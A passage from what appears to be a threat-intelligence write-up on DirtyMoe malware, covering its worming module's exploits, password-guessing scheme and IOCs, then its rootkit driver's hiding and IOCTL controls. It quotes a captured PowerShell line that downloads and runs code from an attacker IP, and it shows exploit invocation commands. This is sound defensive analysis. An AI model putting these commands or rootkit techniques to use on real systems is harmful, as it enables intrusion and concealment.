The adapted Tater script implements the extended MsiMake function. The script attempts to install DirtyMoe using three different ways:

  1. Install DirtyMoe via the MsiMake implementation captured in Figure 8.
  2. Attempt to exploit the system using Invoke-ReflectivePEInjection with the following arguments:
    Invoke-ReflectivePEInjection -PEBytes $Bytes -ExeArgs $@RCE@ -ForceASLR
    where $Bytes is the implementation of CVE-2019-1458 that is included in the script.
  3. The last way is installation via the Tater command:
    Invoke-Tater -Command $@RCE@

The example of Payload 3 is:
powershell -nop -exec bypass -c "IEX (New-ObjectNet. WebClient).DownloadString(
'http://108.61.184.105:20114/57BC9B7E.Png'); MsiMake http://108.61.184.105:20114/0CFA042F.Png

Payload 4

The attackers use .NET to provide a run-time environment that executes an arbitrary command under the MS SQL environment. The worming module defines a new assembly .NET procedure using Common Language Runtime (CLR), as Figure 10 demonstrates.

Figure 10. Payload 4 is defined as .Net Assembly

The .NET code of Payload 4 is a simple class defining a SQL procedure ExecCommand that runs a malicious command using the Process class; shown in Figure 11.

Figure 11. .Net code executing malicious commands
5.5 Development Module

We have discovered one worming module containing artifacts that indicate that the module is in development. This module does not appear to be widespread in the wild, and it may give insight into the malware authors’ future intentions. The module contains many hard-coded sections in different states of development; some sections do not hint at the @RCE@ execution.

PHP

CVE:2019-9082: ThinkPHP - Multiple PHP Injection RCEs.

The module uses the exact implementation published at [7]; see Figure 12. In short, a CGI script that verifies the ability of call_user_func_array is sent. If the verification is passed, the CGI script is re-sent with @RCE@.

Figure 12. CVE:2019-9082: ThinkPHP
Deserialization

CVE:2018-0147: Deserialization Vulnerability

The current module implementation executes a malicious Java class [8], shown in Figure 13, on an attacked server. The RunCheckConfig class is an executioner for accepted connections that include a malicious serializable object.

Figure 13. Java class RunCheckConfig executing arbitrary commands

The module prepares the serializable object illustrated in Figure 14 that the RunCheckConfig class runs when the server accepts this object through the HTTP POST method.

Figure 14. Deserialized object including @RCE@

The implementation that delivers the RunCheckConfig class into the attacked server abused the same vulnerability. It prepares a serializable object executing ObjectOutputStream, which writes the RunCheckConfig class into c:/windows/tmp. However, this implementation is not included in this module, so we assume that this module is still in development.

Oracle Weblogic Server

CVE:2019-2725: Oracle Weblogic Server - 'AsyncResponseService' Deserialization RCE

The module again exploits vulnerabilities published at [9] to send malicious SOAP payloads without any authentication to the Oracle Weblogic Server T3 interface, followed by sending additional SOAP payloads to the WLS AsyncResponseService interface.

SOAP
The SOAP request defines the WorkContext as java.lang.Runtime with three arguments. The first argument defines which executable should be run. The following arguments determine parameters for the executable. An example of the WorkContext is shown in Figure 15.

Figure 15. SOAP request for Oracle Weblogic Server

Hardcoded SOAP commands are not related to @RCE@; we assume that this implementation is also in development.

6. Worming Module Execution

The worming module is managed by the DirtyMoe service, which controls its configuration, initialization, and worming execution. This section describes the lifecycle of the worming module.

6.1 Configuration

The DirtyMoe service contacts one of the C&C servers and downloads an appropriate worming module into a Shim Database (SDB) file located at %windir%\apppatch\TK<volume-id>MS.sdb. The worming module is then decrypted and injected into a new svchost.exe process, as Figure 2 illustrates.

The encrypted module is a PE executable that contains additional placeholders. The DirtyMoe service passes configuration parameters to the module via these placeholders. This approach is identical to other DirtyMoe modules; however, some of the placeholders are not used in the case of the worming module.

The placeholders overview is as follows:

  • @TaskGuid@: N/A in worming module
  • @IPsSign@: N/A in worming module
  • @RunSign@: Mutex created by the worming module that is controlled by the DirtyMoe service
  • @GadSign@: ID of DirtyMoe instance registered in C&C
  • @FixSign@: Type of worming module, e.g, ScanSmbHs5
  • @InfSign@: Worming module configuration
6.2 Initialization

When the worming module, represented by the new process, is injected and resumed by the DirtyMoe service, the module initialization is invoked. Firstly, the module unpacks a word dictionary containing passwords for a dictionary attack. The dictionary consists of 100,000 commonly used passwords compressed using LZMA. Secondly, internal structures are established as follows:

IP Address Backlog
The module stores discovered IP addresses with open ports of interest. It saves the IP address and the timestamp of the last port check.

Dayspan and Hourspan Lists
These lists manage IP addresses and their insertion timestamps used for the dictionary attack. The IP addresses are picked up based on a threshold value defined in the configuration. The IP will be processed if the IP address timestamp surpasses the threshold value of the day or hour span. If, for example, the threshold is set to 1, then if a day/hour span of the current date and a timestamp is greater than 1, a corresponding IP will be processed. The Dayspan list registers IPs generated by Class B from IP Table, Fully Random IP, and Derived Classes A methods; in other words, IPs that are further away from the worming module location. On the other hand, the Hourspan list records IPs located closer.

Thirdly, the module reads its configuration described by the @InfSign@ placeholder. The configuration matches this pattern: <IP>|<PNG_ID>|<timeout>|[SMB:HX:PX1.X2.X3:AX:RX:BX:CX:DX:NX:SMB]

  • IP is the number representing the machine IP from which the attack will be carried out. The IP is input for the methods generating IPs; see Section 4. If the IP is not available, the default address 98.126.89.1 is used.
  • PNG_ID is the number used to derive the hash-name that mirrors the DirtyMoe object name (MSI installer package) stored at C&C. The hashname is generated using MS_RPC_<n> string where n is PNG_ID; see Section 3.
  • Timeout is the default timeout for connections to the attacked services in seconds.
  • HX is a threshold for comparing IP timestamps stored in the Dayspan and Hourspan lists. The comparison ascertains whether an IP address will be processed if the timestamp of the IP address exceeds the day/hour threshold.
  • P is the flag for the dictionary attack.
    • X1 number determines how many initial passwords will be used from the password dictionary to increase the probability of success – the dictionary contains the most used passwords at the beginning.
    • X2 number is used for the second stage of the dictionary attack if the first X1 passwords are unsuccessful. Then the worming module tries to select X2 passwords from the dictionary randomly.
    • X3 number defines how many threads will process the Dayspan and Hourspan lists; more precisely, how many threads will attack the registered IP addresses in the Dayspan/Hourspan lists.
  • AX: how many threads will generate IP addresses using Class B from IP Table methods.
  • RX: how many threads for the Fully Random IP method.
  • BX, CX, DX: how many threads for the Derived Classes A, B, C methods.
  • NX defines a thread quantity for the Derived Local IPs method.

The typical configuration can be 217.xxx.xxx.xxx|5|2|[SMB:H1:P1.30.3:A10:R3:B3:C3:D1:N3:SMB]

Finally, the worming module starts all threads defined by the configuration, and the worming process and attacks are started.

6.3 Worming

The worming process has five phases run, more or less, in parallel. Figure 16 has an animation of the worming process.

Figure 16. Worming module workflow
Phase 1

The worming module usually starts 23 threads generating IP addresses based on Section 4. The IP addresses are classified into two groups: day-span and hour-span.

Phase 2

The second phase runs in parallel with the first; its goal is to test generated IPs. Each specific module targets defined ports ​that are verified via sending a zero-length transport datagram. If the port is active and ready to receive data, the IP address of the active port is added to IP Address Backlog. Additionally, the SMB worming module immediately tries the EternalBlue attack within the port scan.

Phase 3

The IP addresses verified in Phase 2 are also registered into the Dayspan and Hourspan lists. The module keeps only 100 items (IP addresses), and the lists are implemented as a queue. Therefore, some IPs can be removed from these lists if the IP address generation is too fast or the dictionary attacks are too slow. However, the removed addresses are still present in the IP Address Backlog.

Phase 4

The threads created based on the X3 configuration parameters process and manage the items (IPs) of Dayspan and Hourspan lists. Each thread picks up an item from the corresponding list, and if the defined day/hour threshold (HX parameter) is exceeded, the module starts the dictionary attack to the picked-up IP address.

Phase 5

Each generated and verified IP is associated with a timestamp of creation. The last phase is activated if the previous timestamp is older than 10 minutes, i.e., if the IP generation is suspended for any reason and no new IPs come in 10 minutes. Then one dedicated thread extracts IPs from the backlog and processes these IPs from the beginning; These IPs are processed as per Phase 2, and the whole worming process continues.

6.4 Dictionary Attack

The dictionary attack targets two administrator user names, namely administrator for SMB services and sa for MS SQL servers. If the attack is successful, the worming module infiltrates a targeted system utilizing an attack series composed of techniques described in Section 5:

  • Service Control Manager Remote Protocol (SCMR)
  • Windows Management Instrumentation (WMI)
  • Microsoft SQL Server (SQL)

The first attack attempt is sent with an empty password. The module then addresses three states based on the attack response as follows:

  • No connection: the connection was not established, although a targeted port is open – a targeted service is not available on this port.
  • Unsuccessful: the targeted service/system is available, but authentication failed due to an incorrect username or password.
  • Success: the targeted service/system uses the empty password.
Administrator account has an empty passwordΒ 

If the administrator account is not protected, the whole worming process occurs quickly (this is the best possible outcome from the attacker’s point of view). The worming module then proceeds to infiltrate the targeted system with the attack series (SCMR, WMI, SQL) by sending the empty password.

Bad username or authentication information

A more complex situation occurs if the targeted services are active, and it is necessary to attack the system by applying the password dictionary.

Cleverly, the module stores all previously successful passwords in the system registry; the first phase of the dictionary attack iterates through all stored passwords and uses these to attack the targeted system. Then, the attack series (SCMR, WMI, SQL) is started if the password is successfully guessed.

The second phase occurs if the stored registry passwords yield no success. The module then attempts authentication using a defined number of initial passwords from the password dictionary. This number is specified by the X1 configuration parameters (usually X1*100). If this phase is successful, the guessed password is stored in the system registry, and the attack series is initiated.

The final phase follows if the second phase is not successful. The module randomly chooses a password from a dictionary subset X2*100 times. The subset is defined as the original dictionary minus the first X1*100 items. In case of success, the attack series is invoked, and the password is added to the system registry.

Successfully used passwords are stored encrypted, in the following system registry location:
HKEY_LOCAL_MACHINE\Software\Microsoft\DirectPlay8\Direct3D\RegRunInfo-BarkIPsInfo

7. Summary and Discussion

Modules

We have detected three versions of the DirtyMoe worming module in use. Two versions specifically focus on the SMB service and MS SQL servers. However, the third contains several artifacts implying other attack vectors targeting PHP, Java Deserialization, and Oracle Weblogic Server. We continue to monitor and track these activities.

Attacked Machines

One interesting finding is an attack adaptation based on the geological location of the worming module. Methods described in Section 4 try to distribute the generated IP addresses evenly to cover the largest possible radius. This is achieved using the IP address of the worming module itself since half of the threads generating the victim’s IPs are based on the module IP address. Otherwise, if the IP is not available for some reason, the IP address 98.126.89.1 located in Los Angeles is used as the base address.

We performed a few VPN experiments for the following locations: the United States, Russian Federation, Czech Republic, and Taiwan. The results are animated in Figure 17; Table 1 records the attack distributions for each tested VPN.

VPN Attack Distribution Top countries
United States North America (59%)
Europe (21%)
Asia (16%)
United States
Russian Federation North America (41%)
Europe (33%)
Asia (20%)
United States, Iran, United Kingdom, France, Russian Federation
Czech Republic Europe (56%)
Asia (14%)
South America (11%)
China, Brazil, Egypt, United States, Germany
Taiwan North America (47%)
Europe (22%)
Asia (18%)
United States, United Kingdom, Japan, Brazil, Turkey
Table 1. VPN attack distributions and top countries
Figure 17. VPN attack distributions
LAN

Perhaps the most striking discovery was the observed lateral movement in local networks. The module keeps all successfully guessed passwords in the system registry; these saved passwords increase the probability of password guessing in local networks, particularly in home and small business networks. Therefore, if machines in a local network use the same weak passwords that can be easily assessed, the module can quickly infiltrate the local network.

Exploits

All abused exploits are from publicly available resources. We have identified six main vulnerabilities summarized in Table 2. The worming module adopts the exact implementation of EternalBlue, ThinkPHP, and Oracle Weblogic Server exploits from exploit-db. In the same way, the module applies and modifies implementations of DoublePulsar, Tater, and PowerSploit frameworks.

ID Description
CVE:2019-9082 ThinkPHP – Multiple PHP Injection RCEs
CVE:2019-2725 Oracle Weblogic Server – β€˜AsyncResponseService’ Deserialization RCE
CVE:2019-1458 WizardOpium Local Privilege Escalation
CVE:2018-0147 Deserialization Vulnerability
CVE:2017-0144 EternalBlue SMB Remote Code Execution (MS17-010)
MS15-076 RCE Allow Elevation of Privilege (Hot Potato Windows Privilege Escalation)
Table 2. Used exploits
C&C Servers

The C&C servers determine which module will be deployed on a victim machine. The mechanism of the worming module selection depends on client information additionally sent to the C&C servers. However, details of how this module selection works remain to be discovered.

Password Dictionary

The password dictionary is a collection of the most commonly used passwords obtained from the internet. The dictionary size is 100,000 words and numbers across several topics and languages. There are several language mutations for the top world languages, e.g., English, Spanish, Portuguese, German, French, etc. (passwort, heslo, haslo, lozinka, parool, wachtwoord, jelszo, contrasena, motdepasse). Other topics are cars (volkswagen, fiat, hyundai, bugatti, ford) and art (davinci, vermeer, munch, michelangelo, vangogh). The dictionary also includes dirty words and some curious names of historical personalities like hitler, stalin, lenin, hussein, churchill, putin, etc.

The dictionary is used for SCMR, WMI, and SQL attacks. However, the SQL module hard-codes another 15 pairs of usernames/passwords also collected from the internet. The SQL passwords usually are default passwords of the most well-known systems.

Worming Workflow

The modules also implement a technique for repeated attacks on machines with β€˜live’ targeted ports, even when the first attack was unsuccessful. The attacks can be scheduled hourly or daily based on the worm configuration. This approach can prevent a firewall from blocking an attacking machine and reduce the risk of detection.

Another essential attribute is the closing of TCP port 445 port following a successful exploit of a targeted system. This way, compromised machines are β€œprotected” from other malware that abuse the same vulnerabilities. The MSI installer also includes a mechanism to prevent overwriting DirtyMoe by itself so that the configuration and already downloaded modules are preserved.

IP Generation Performance

The primary key to this worm’s success is the performance of the IP generator. We have used empirical measurement to determine the performance of the worming module. This measurement indicates that one module instance can generate and attack 1,500 IPs per second on average. However, one of the tested instances could generate up to 6,000 IPs/sec, so one instance can try two million IPs per day.

The evidence suggests that approximately 1,900 instances can generate the whole IPv4 range in one day; our detections estimate more than 7,000 active instances exist in the wild. In theory, the effect is that DirtyMoe can generate and potentially target the entire IPv4 range three times a day.

8. Conclusion

The primary goal of this research was to analyze one of the DirtyMoe module groups, which provides the spreading of the DirtyMoe malware using worming techniques. The second aim of this study was to investigate the effects of worming and investigate which exploits are in use.Β 

In most cases, DirtyMoe is deployed using external exploit kits like PurpleFox or injected installers of Telegram Messenger that require user interaction to successful infiltration. Importantly, worming is controlled by C&C and executed by active DirtyMoe instances, so user interaction is not required.

Worming target IPs are generated utilizing the cleverly designed algorithm that evenly generates IP addresses across the world and in relation to the geological location of the worming module. Moreover, the module targets local/home networks. Because of this, public IPs and even private networks behind firewalls are at risk.

Victims’ active machines are attacked using EternalBlue exploits and dictionary attacks aimed at SCMR, WMI, and MS SQL services with weak passwords. Additionally, we have detected a total of six vulnerabilities abused by the worming module that implement publicly disclosed exploits.

We also discovered one worming module in development containing other vulnerability exploit implementations – it did not appear to be fully armed for deployment. However, there is a chance that tested exploits are already implemented and are spreading in the wild.Β 

Based on the amount of active DirtyMoe instances, it can be argued that worming can threaten hundreds of thousands of computers per day. Furthermore, new vulnerabilities, such as Log4j, provide a tremendous and powerful opportunity to implement a new worming module. With this in mind, our researchers continue to monitor the worming activities and hunt for other worming modules.

IOCs

CVE-2019-1458: β€œWizardOpium’ Local Privilege Escalation
fef7b5df28973ecf8e8ceffa8777498a36f3a7ca1b4720b23d0df18c53628c40

SMB worming modules
f78b7b0faf819328f72a7181ed8cc52890fedcd9bf612700d7b398f1b9d77ab6
dc1dd648287bb526f11ebacf31edd06089f50c551f7724b98183b10ab339fe2b

SQL worming modules
df8f37cb2f20ebd8f22e866ee0e25be7d3731e4d2af210f127018e2267c73065
b3e8497a4cf00489632e54e2512c05d9c80288c2164019d53615dd53c0977fa7

Worming modules in development
36e0e1e4746d0db1f52aff101a103ecfb0414c8c04844521867ef83466c75340

References

[1] Malicious Telegram Installer Drops Purple Fox Rootkit
[2] Purple Fox Rootkit Now Propagates as a Worm
[3] Exploit-db: β€˜EternalBlue’ SMB Remote Code Execution (MS17-010)
[4] Threat Spotlight: The Shadow Brokers and EternalPulsar Malware
[5] Service Control Manager Remote Protocol
[6] Windows Management Instrumentation
[7] Exploit-db: ThinkPHP – Multiple PHP Injection RCEs (Metasploit)
[8] Exploit-db: Deserialization Vulnerability
[9] Exploit-db: β€˜AsyncResponseService’ Deserialization RCE (Metasploit)

The post DirtyMoe: Worming Modules appeared first on Avast Threat Labs.

DirtyMoe: Rootkit Driver

11 August 2021 at 09:44

Abstract

In the first post DirtyMoe: Introduction and General Overview of Modularized Malware, we have described one of the complex and sophisticated malware called DirtyMoe. The main observed roles of the malware are Cryptojacking and DDoS attacks that are still popular. There is no doubt that malware has been released for profit, and all evidence points to Chinese territory. In most cases, the PurpleFox campaign is used to exploit vulnerable systems where the exploit gains the highest privileges and installs the malware via the MSI installer. In short, the installer misuses Windows System Event Notification Service (SENS) for the malware deployment. At the end of the deployment, two processes (workers) execute malicious activities received from well-concealed C&C servers.

As we mentioned in the first post, every good malware must implement a set of protection, anti-forensics, anti-tracking, and anti-debugging techniques. One of the most used techniques for hiding malicious activity is using rootkits. In general, the main goal of the rootkits is to hide itself and other modules of the hosted malware on the kernel layer. The rootkits are potent tools but carry a high risk of being detected because the rootkits work in the kernel-mode, and each critical bug leads to BSoD.

The primary aim of this next article is to analyze rootkit techniques that DirtyMoe uses. The main part of this study examines the functionality of a DirtyMoe driver, aiming to provide complex information about the driver in terms of static and dynamic analysis. The key techniques of the DirtyMoe rootkit can be listed as follows: the driver can hide itself and other malware activities on kernel and user mode. Moreover, the driver can execute commands received from the user-mode under the kernel privileges. Another significant aspect of the driver is an injection of an arbitrary DLL file into targeted processes. Last but not least is the driver’s functionality that censors the file system content. In the same way, we describe the refined routine that deploys the driver into the kernel and which anti-forensic method the malware authors used.

Another essential point of this research is the investigation of the driver’s meta-data, which showed that the driver is code-signed with the certificates that have been stolen and revoked in the past. However, the certificates are widespread in the wild and are misused in other malicious software in the present.

Finally, the last part summarises the rootkit functionally and draws together the key findings of digital certificates, making a link between DirtyMoe and other malicious software. In addition, we discuss the implementation level and sources of the used rootkit techniques.

1. Sample

The subject of this research is a sample with SHA-256:
AABA7DB353EB9400E3471EAAA1CF0105F6D1FAB0CE63F1A2665C8BA0E8963A05
The sample is a windows driver that DirtyMoe drops on the system startup.

Note: VirusTotal keeps a record of 44 of 71 AV engines (62 %) which detect the samples as malicious. On the other hand, the DirtyMoe DLL file is detected by 86 % of registered AVs. Therefore, the detection coverage is sufficient since the driver is dumped from the DLL file.

Basic Information
  • File Type: Portable Executable 64
  • File Info: Microsoft Visual C++ 8.0 (Driver)
  • File Size: 116.04 KB (118824 bytes)
  • Digital Signature: Shanghai Yulian Software Technology Co., Ltd. (δΈŠζ΅·εŸŸθ”θ½―δ»ΆζŠ€ζœ―ζœ‰ι™ε…¬εΈ)
Imports

The driver imports two libraries FltMgr and ntosrnl. Table 1 summarizes the most suspicious methods from the driver’s point.

Routine Description
FltSetCallbackDataDirty A minifilter driver’s pre or post operation calls the routine to indicate that it has modified the contents of the callback data structure.
FltGetRequestorProcessId Routine returns the process ID for the process requested for a given I/O operation.
FltRegisterFilter FltRegisterFilter registers a minifilter driver.
ZwDeleteValueKey
ZwSetValueKey
ZwQueryValueKey
ZwOpenKey
Routines delete, set, query, and open registry entries in kernel-mode.
ZwTerminateProcess Routine terminates a process and all of its threads in kernel-mode.
ZwQueryInformationProcess Retrieves information about the specified process.
MmGetSystemRoutineAddress Returns a pointer to a function specified by a routine parameter.
ZwAllocateVirtualMemory Reserves a range of application-accessible virtual addresses in the specified process in kernel-mode.
Table 1. Kernel methods imported by the DirtyMoe driver

At first glance, the driver looks up kernel routine via MmGetSystemRoutineAddress() as a form of obfuscation since the string table contains routine names operating with VirtualMemory; e.g., ZwProtectVirtualMemory(), ZwReadVirtualMemory(), ZwWriteVirtualMemory(). The kernel-routine ZwQueryInformationProcess() and strings such as services.exe, winlogon.exe point out that the rootkit probably works with kernel structures of the critical windows processes.

2. DirtyMoe Driver Analysis

The DirtyMoe driver does not execute any specific malware activities. However, it provides a wide scale of rootkit and backdoor techniques. The driver has been designed as a service support system for the DirtyMoe service in the user-mode.

The driver can perform actions originally needed with high privileges, such as writing a file into the system folder, writing to the system registry, killing an arbitrary process, etc. The malware in the user-mode just sends a defined control code, and data to the driver and it provides higher privilege actions.

Further, the malware can use the driver to hide some records helping to mask malicious activities. The driver affects the system registry, and can conceal arbitrary keys. Moreover, the system process services.exe is patched in its memory, and the driver can exclude arbitrary services from the list of running services. Additionally, the driver modifies the kernel structures recording loaded drivers, so the malware can choose which driver is visible or not. Therefore, the malware is active, but the system and user cannot list the malware records using standard API calls to enumerate the system registry, services, or loaded drivers. The malware can also hide requisite files stored in the file system since the driver implements a mechanism of the minifilter. Consequently, if a user requests a record from the file system, the driver catches this request and can affect the query result that is passed to the user.

The driver consists of 10 main functionalities as Table 2 illustrates.

Function Description
Driver Entry routine called by the kernel when the driver is loaded.
Start Routine is run as a kernel thread restoring the driver configuration from the system registry.
Device Control processes system-defined I/O control codes (IOCTLs) controlling the driver from the user-mode.
Minifilter Driver routine completes processing for one or more types of I/O operations; QueryDirectory in this case. In other words, the routine filters folder enumerations.
Thread Notification routine registers a driver-supplied callback that is notified when a new thread is created.
Callback of NTFS Driver wraps the original callback of the NTFS driver for IRP_MJ_CREATE major function.
Registry Hiding is hook method provides registry key hiding.
Service Hiding is a routine hiding a defined service.
Driver Hiding is a routine hiding a defined driver.
Driver Unload routine is called by kernel when the driver is unloaded.
Table 2. Main driver functionality

Most of the implemented functionalities are available as public samples on internet forums. The level of programming skills is different for each driver functionality. It seems that the driver author merged the public samples in most cases. Therefore, the driver contains a few bugs and unused code. The driver is still in development, and we will probably find other versions in the wild.

2.1 Driver Entry

The Driver Entry is the first routine that is called by the kernel after driver loading. The driver initializes a large number of global variables for the proper operation of the driver. Firstly, the driver detects the OS version and setups required offsets for further malicious use. Secondly, the variable for pointing of the driver image is initialized. The driver image is used for hiding a driver. The driver also associates the following major functions:

  1. IRP_MJ_CREATE, IRP_MJ_CLOSE – no interest action,
  2. IRP_MJ_DEVICE_CONTROL – used for driver configuration and control,
  3. IRP_MJ_SHUTDOWN – writes malware-defined data into the disk and registry.

The Driver Entry creates a symbolic link to the driver and tries to associate it with other malicious monitoring or filtering callbacks. The first one is a minifilter activated by the FltRegisterFilter() method registering the FltPostOperation(); it filters access to the system drives and allows it to hide files and directories.

Further, the initialization method swaps a major function IRP_MJ_CREATE for \FileSystem\Ntfs driver. So, each API call of CreateFile() or a kernel-mode function IoCreateFile() can be monitored and affected by the malicious MalNtfsCreatCallback() callback.

Another Driver Entry method sets a callback method using PsSetCreateThreadNotifyRoutine(). The NotifyRoutine() monitors a kernel process creation, and the malware can inject malicious code into newly created processes/threads.

Finally, the driver tries to restore its configuration from the system registry.

2.2 Start Routine

The Start Routine is run as a kernel system thread created in the Driver Entry routine. The Start Routine writes the driver version into the SYSTEM registry as follows:

  • Key: HKLM\SYSTEM\CurrentControlSet\Control\WinApi\WinDeviceVer
  • Value: 20161122

If the following SOFTWARE registry key is present, the driver loads artifacts needed for the process injecting:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Secure

The last part of Start Routine loads the rest of the necessary entries from the registry. The complete list of the system registry is documented in Appendix A.

2.3 Device Control

The device control is a mechanism for controlling a loaded driver. A driver receives the IRP_MJ_DEVICE_CONTROL I/O control code (IOCTL) if a user-mode thread calls Win32 API DeviceIoControl(); visit [1] for more information. The user-mode application sends IRP_MJ_DEVICE_CONTROL directly to a specific device driver. The driver then performs the corresponding operation. Therefore, malicious user-mode applications can control the driver via this mechanism.

The driver supports approx. 60 control codes. We divided the control codes into 3 basic groups: controlling, inserting, and setting.

Controlling

There are 9 main control codes invoking driver functionality from the user-mode. The following Table 3 summarizes controlling IOCTL that can be sent by malware using the Win32 API.

IOCTL Description
0x222C80 The driver accepts other IOCTLs only if the driver is activated. Malware in the user-mode can activate the driver by sending this IOCTL and authorization code equal 0xB6C7C230.
0x2224C0Β  The malware sends data which the driver writes to the system registry. A key, value, and data type are set by Setting control codes.
used variable: regKey, regValue, regData, regType
0x222960 This IOCTL clears all data stored by the driver.
used variable: see Setting and Inserting variables
0x2227EC If the malware needs to hide a specific driver, the driver adds a specific driver name to the
listBaseDllName and hides it using Driver Hiding.
0x2227E8 The driver adds the name of the registry key to the WinDeviceAddress list and hides this key
using Registry Hiding.
used variable: WinDeviceAddress
0x2227F0 The driver hides a given service defined by the name of the DLL image. The name is inserted into the listServices variable, and the Service Hiding technique hides the service in the system.
0x2227DC If the malware wants to deactivate the Registry Hiding, the driver restores the original kernel
GetCellRoutine().
0x222004 The malware sends a process ID that wants to terminate. The driver calls kernel function
ZwTerminateProcess() and terminates the process and all of its threads regardless of malware privileges.
0x2224C8 The malware sends data which driver writes to the file defined by filePath variable; see Setting control codes
used variable: filePath, fileData
Table 3. Controlling IOCTLs
Inserting

There are 11 control codes inserting items into white/blacklists. The following Table 4 summarizes variables and their purpose.

White/Black list Variable Purpose
Registry HIVE WinDeviceAddress Defines a list of registry entries that the malware wants to hide in the system.
Process Image File Name WinDeviceMaker Represents a whitelist of processes defined by process image file name. It is used in Callback of NTFS Driver, and grants access to the NTFS file systems. Further, it operates in Minifilter Driver and prevents hiding files defined in the WinDeviceNumber variable. The last use is in Registry Hiding; the malware does not hide registry keys for the whitelisted processes.
WinDeviceMakerB Defines a whitelist of processes defined by process image file name. It is used in Callback of NTFS Driver, and grants access to the NTFS file systems.
WinDeviceMakerOnly Specifies a blacklist of processes defined by the process image file name. It is used in Callback of NTFS Driver and refuses access to the NTFS file systems.
File names
(full path)
WinDeviceName
WinDeviceNameB
Determines a whitelist of files that should be granted access by Callback of NTFS Driver. It is used in combination with WinDeviceMaker and WinDeviceMakerB. So, if a file is on the whitelist and a requested process is also whitelisted, the driver grants access to the file.
WinDeviceNameOnly Defines a blacklist of files that should be denied access by Callback of NTFS Driver. It is used in combination with WinDeviceMakerOnly. So, if a file is on the blacklist and a requesting process is also blacklisted, the driver refuses access to the file.
File names
(containing number)
WinDeviceNumber Defines a list of files that should be hidden in the system by Minifilter Driver. The malware uses a name convention as follows: [A-Z][a-z][0-9]+\.[a-z]{3}. So, a file name includes a number.
Process ID ListProcessId1 Defines a list of processes requiring access to NTFS file systems. The malware does not restrict the access for these processes; see Callback of NTFS Driver.
ListProcessId2 The same purpose as ListProcessId1. Additionally, it is used as the whitelist for the registry hiding, so the driver does not restrict access. The Minifilter Driver does not limit processes in this list.
Driver names listBaseDllName Defines a list of drivers that should be hidden in the system;
see Driver Hiding.
Service names listServices Specifies a list of services that should be hidden in the system;
see Service Hiding.
Table 4. White and Black lists
Setting

The setting control codes store scalar values as a global variable. The following Table 5 summarizes and groups these variables and their purpose.

Function Variable Description
File Writing
(Shutdown)
filename1_for_ShutDown
data1_for_ShutDown
Defines a file name and data for the first file written during the driver shutdown.
filename2_for_ShutDown
data2_for_ShutDown
Defines a file name and data for the second file written during the driver shutdown.
Registry Writing
(Shutdown)
regKey1_shutdown
regValue1_shutdown
regData1_shutdown
regType1
Specifies the first registry key path, value name, data, and type (REG_BINARY, REG_DWORD, REG_SZ, etc.) written during the driver shutdown.
regKey2_shutdown
regValue2_shutdown
regData2_shutdown
regType2
Specifies the second registry key path, value name, data, and type (REG_BINARY, REG_DWORD, REG_SZ, etc.) written during the driver shutdown.
File Data Writing filePath Determines filename which will be used to write data;
see Controlling IOCTL 0x2224C8.
Registry Writing regKey
regValue
regType
Specifies registry key path, value name, and type (REG_BINARY, REG_DWORD, REG_SZ, etc.);
see Controlling IOCTL 0x2224C0.
Unknow
(unused)
dwWinDevicePathA
dwWinDeviceDataA
Keeps a path and data for file A.
dwWinDevicePathB
dwWinDeviceDataB
Keeps a path and data for file B.
Table 5. Global driver variables

The following Table 6 summarizes variables used for the process injection; see Thread Notification.

Function Variable Description
Process to Inject dwWinDriverMaker2
dwWinDriverMaker2_2
Defines two command-line arguments. If a process with one of the arguments is created, the driver should inject the process.
dwWinDriverMaker1
dwWinDriverMaker1_2
Defines two process names that should be injected if the process is created.
DLL to Inject dwWinDriverPath1
dwWinDriverDataA
Specifies a file name and data for the process injection defined by dwWinDriverMaker2 or dwWinDriverMaker1.
dwWinDriverPath1_2
dwWinDriverDataA_2
Defines a file name and data for the process injection defined by dwWinDriverMaker2_2 or dwWinDriverMaker1_2.
dwWinDriverPath2
dwWinDriverDataB
Keeps a file name and data for the process injection defined by dwWinDriverMaker2 or dwWinDriverMaker1.
dwWinDriverPath2_2
dwWinDriverDataB_2
Specifies a file name and data for the process injection defined by dwWinDriverMaker2_2 or dwWinDriverMaker1_2.
Table 6. Injection variables

2.4 Minifilter Driver

The minifilter driver is registered in the Driver Entry routine using the FltRegisterFilter() method. One of the method arguments defines configuration (FLT_REGISTRATION) and callback methods (FLT_OPERATION_REGISTRATION). If the QueryDirectory system request is invoked, the malware driver catches this request and processes it by its FltPostOperation().

The FltPostOperation() method can modify a result of the QueryDirectory operations (IRP). In fact, the malware driver can affect (hide, insert, modify) a directory enumeration. So, some applications in the user-mode may not see the actual image of the requested directory.

The driver affects the QueryDirectory results only if a requested process is not present in whitelists. There are two whitelists. The first whitelists (Process ID and File names) cause that the QueryDirectory results are not modified if the process ID or process image file name, requesting the given I/O operation (QueryDirectory), is present in the whitelists. It represents malware processes that should have access to the file system without restriction. The further whitelist is called WinDeviceNumber, defining a set of suffixes. The FltPostOperation() iterates each item of the QueryDirectory. If the enumerated item name has a suffix defined in the whitelist, the driver removes the item from the QueryDirectory results. It ensures that the whitelisted files are not visible for non-malware processes [2]. So, the driver can easily hide an arbitrary directory/file for the user-mode applications, including explorer.exe. The name of the WinDeviceNumber whitelist is probably derived from malware file names, e.g, Ke145057.xsl, since the suffix is a number; see Appendix B.

2.5 Callback of NTFS Driver

When the driver is loaded, the Driver Entry routine modifies the system driver for the NTFS filesystem. The original callback method for the IRP_MJ_CREATE major function is replaced by a malicious callback MalNtfsCreatCallback() as Figure 1 illustrates. The malicious callback determines what should gain access and what should not.

Figure 1. Rewrite IRP_MJ_CREATE callback of the regular NTFS driver

The malicious callback is active only if the Minifilter Driver registration has been done and the original callback has been replaced. There are whitelists and one blacklist. The whitelists store information about allowed process image names, process ID, and allowed files. If the process requesting the disk access is whitelisted, then the requested file must also be on the white list. It is double protection. The blacklist is focused on processing image names. Therefore, the blacklisted processes are denied access to the file system. Figure 2 demonstrates the whitelisting of processes. If a process is on the whitelist, the driver calls the original callback; otherwise, the request ends with access denied.

Figure 2. Grant access to whitelisted processes

In general, if the malicious callback determines that the requesting process is authorized to access the file system, the driver calls the original IRP_MJ_CREATE major function. If not, the driver finishes the request as STATUS_ACCESS_DENIED.

2.6 Registry Hiding

